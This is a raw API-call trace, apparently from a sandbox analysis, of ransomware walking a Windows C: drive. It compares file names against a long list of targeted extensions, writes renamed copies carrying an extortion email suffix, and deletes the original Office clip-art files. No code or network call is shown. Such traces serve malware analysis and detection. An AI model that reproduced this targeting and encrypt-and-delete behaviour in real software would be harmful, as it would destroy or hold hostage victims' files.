	[0193.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.169] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.169] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0193.170] GetLastError () returned 0x0
	[0193.170] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x2610, lpOverlapped=0x0) returned 1
	[0193.171] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2620, lpOverlapped=0x0) returned 1
	[0193.173] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.173] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.173] SetEndOfFile (hFile=0x37c) returned 1
	[0193.173] CloseHandle (hObject=0x37c) returned 1
	[0193.173] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.173] SetEndOfFile (hFile=0x338) returned 1
	[0193.175] CloseHandle (hObject=0x338) returned 1
	[0193.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0193.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.176] lstrlenW (lpString=".doc") returned 4
	[0193.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString=".docx") returned 5
	[0193.176] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0193.176] lstrlenW (lpString=".pdf") returned 4
	[0193.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString=".xls") returned 4
	[0193.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.176] lstrlenW (lpString=".xlsx") returned 5
	[0193.176] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0193.176] lstrlenW (lpString=".ppt") returned 4
	[0193.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.176] lstrlenW (lpString=".zip") returned 4
	[0193.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.176] lstrlenW (lpString=".rar") returned 4
	[0193.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString=".bz2") returned 4
	[0193.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString=".7z") returned 3
	[0193.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.176] lstrlenW (lpString=".dbf") returned 4
	[0193.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.176] lstrlenW (lpString=".1cd") returned 4
	[0193.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.177] lstrlenW (lpString=".jpg") returned 4
	[0193.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.177] lstrlenW (lpString=".doc") returned 4
	[0193.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString=".docx") returned 5
	[0193.177] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0193.177] lstrlenW (lpString=".pdf") returned 4
	[0193.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString=".xls") returned 4
	[0193.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.177] lstrlenW (lpString=".xlsx") returned 5
	[0193.177] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0193.177] lstrlenW (lpString=".ppt") returned 4
	[0193.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.177] lstrlenW (lpString=".zip") returned 4
	[0193.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.177] lstrlenW (lpString=".rar") returned 4
	[0193.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.177] lstrlenW (lpString=".bz2") returned 4
	[0193.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.178] lstrlenW (lpString=".7z") returned 3
	[0193.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.178] lstrlenW (lpString=".dbf") returned 4
	[0193.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.178] lstrlenW (lpString=".1cd") returned 4
	[0193.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0193.178] lstrlenW (lpString=".jpg") returned 4
	[0193.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.178] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.178] lstrlenW (lpString="J0099176.WMF") returned 12
	[0193.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.178] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=2488) returned 1
	[0193.179] CloseHandle (hObject=0x338) returned 1
	[0193.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0193.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.179] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.179] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0193.180] GetLastError () returned 0x0
	[0193.180] ReadFile (hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0) 

Thread:
	id = 94
	os_tid = 0xf4c

	[0187.981] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x39525d0
	[0187.982] lstrlenW (lpString="C:") returned 2
	[0187.982] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x76a738
	[0187.982] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0187.982] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0187.982] lstrlenW (lpString="$GetCurrent") returned 11
	[0187.982] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0187.982] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x39625d8
	[0187.983] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0187.983] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76a938
	[0187.983] FindNextFileW (in: hFindFile=0x76a938, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0188.141] FindNextFileW (in: hFindFile=0x76a938, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0188.141] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0188.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0188.141] lstrlenW (lpString="Logs") returned 4
	[0188.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0188.142] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x39735e8
	[0188.142] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0188.142] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff4ad, dwReserved1=0x340, cFileName=".", cAlternateFileName="")) returned 0x76a9b8
	[0188.143] FindNextFileW (in: hFindFile=0x76a9b8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff4ad, dwReserved1=0x340, cFileName="..", cAlternateFileName="")) returned 1
	[0188.143] FindNextFileW (in: hFindFile=0x76a9b8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a3ab30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a3ab30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34ad347e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffff4ad, dwReserved1=0x340, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DOWNLE~1.Z9")) returned 1
	[0188.143] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9") returned 79
	[0188.143] lstrlenW (lpString=".1cd") returned 4
	[0188.143] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0188.143] lstrlenW (lpString=".3ds") returned 4
	[0188.143] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0188.143] lstrlenW (lpString=".3fr") returned 4
	[0188.143] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".3g2") returned 4
	[0188.144] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".3gp") returned 4
	[0188.144] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".7z") returned 3
	[0188.144] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0188.144] lstrlenW (lpString=".accda") returned 6
	[0188.144] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".accdb") returned 6
	[0188.144] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".accdc") returned 6
	[0188.144] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".accde") returned 6
	[0188.144] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".accdt") returned 6
	[0188.144] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".accdw") returned 6
	[0188.144] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0188.144] lstrlenW (lpString=".adb") returned 4
	[0188.144] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".adp") returned 4
	[0188.144] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai") returned 3
	[0188.144] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai3") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai4") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai5") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai6") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai7") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0188.144] lstrlenW (lpString=".ai8") returned 4
	[0188.144] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".anim") returned 5
	[0188.145] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0188.145] lstrlenW (lpString=".arw") returned 4
	[0188.145] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".as") returned 3
	[0188.145] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0188.145] lstrlenW (lpString=".asa") returned 4
	[0188.145] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asc") returned 4
	[0188.145] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".ascx") returned 5
	[0188.145] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asm") returned 4
	[0188.145] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asmx") returned 5
	[0188.145] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asp") returned 4
	[0188.145] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".aspx") returned 5
	[0188.145] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asr") returned 4
	[0188.145] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".asx") returned 4
	[0188.145] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".avi") returned 4
	[0188.145] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".avs") returned 4
	[0188.145] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".backup") returned 7
	[0188.145] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0188.145] lstrlenW (lpString=".bak") returned 4
	[0188.145] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".bay") returned 4
	[0188.145] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0188.145] lstrlenW (lpString=".bd") returned 3
	[0188.145] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0188.145] lstrlenW (lpString=".bin") returned 4
	[0188.146] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".bmp") returned 4
	[0188.146] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".bz2") returned 4
	[0188.146] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".c") returned 2
	[0188.146] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0188.146] lstrlenW (lpString=".cdr") returned 4
	[0188.146] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cer") returned 4
	[0188.146] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cf") returned 3
	[0188.146] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0188.146] lstrlenW (lpString=".cfc") returned 4
	[0188.146] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cfm") returned 4
	[0188.146] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cfml") returned 5
	[0188.146] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cfu") returned 4
	[0188.146] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".chm") returned 4
	[0188.146] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cin") returned 4
	[0188.146] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".class") returned 6
	[0188.146] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0188.146] lstrlenW (lpString=".clx") returned 4
	[0188.146] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".config") returned 7
	[0188.146] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cpp") returned 4
	[0188.146] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".cr2") returned 4
	[0188.146] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0188.146] lstrlenW (lpString=".crt") returned 4
	[0188.147] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".crw") returned 4
	[0188.147] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".cs") returned 3
	[0188.147] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0188.147] lstrlenW (lpString=".css") returned 4
	[0188.147] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".csv") returned 4
	[0188.147] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".cub") returned 4
	[0188.147] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dae") returned 4
	[0188.147] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dat") returned 4
	[0188.147] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".db") returned 3
	[0188.147] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0188.147] lstrlenW (lpString=".dbf") returned 4
	[0188.147] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dbx") returned 4
	[0188.147] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dc3") returned 4
	[0188.147] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dcm") returned 4
	[0188.147] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dcr") returned 4
	[0188.147] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".der") returned 4
	[0188.147] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dib") returned 4
	[0188.147] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0188.147] lstrlenW (lpString=".dic") returned 4
	[0188.147] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dif") returned 4
	[0188.148] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".divx") returned 5
	[0188.148] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".djvu") returned 5
	[0188.148] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dng") returned 4
	[0188.148] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".doc") returned 4
	[0188.148] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".docm") returned 5
	[0188.148] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".docx") returned 5
	[0188.148] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dot") returned 4
	[0188.148] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dotm") returned 5
	[0188.148] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dotx") returned 5
	[0188.148] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dpx") returned 4
	[0188.148] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dqy") returned 4
	[0188.148] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dsn") returned 4
	[0188.148] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dt") returned 3
	[0188.148] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0188.148] lstrlenW (lpString=".dtd") returned 4
	[0188.148] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dwg") returned 4
